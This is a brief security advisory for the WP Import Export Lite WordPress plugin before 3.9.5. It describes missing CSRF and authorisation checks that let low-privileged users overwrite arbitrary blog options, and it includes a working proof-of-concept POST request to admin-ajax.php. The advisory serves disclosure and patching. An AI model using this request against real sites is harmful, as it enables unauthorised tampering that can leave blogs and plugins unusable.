WP Import Export Lite < 3.9.5 – Subscriber+ Arbitrary Blog Options Update

Description

The plugin does not have any CSRF and authorisation checks done in the wpie_ext_save_extension_data AJAX action, nor do perform any validation on the option to be updated. As a result, any authenticated user such as subscriber, or an unauthenticated attacker via a CSRF could update any of the blog options (set to the serialized POST data) which could make the blog and its plugins unusable.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Cookie: [any authenticated user]
Connection: close

action=wpie_ext_save_extension_data&wpie_ext=blogname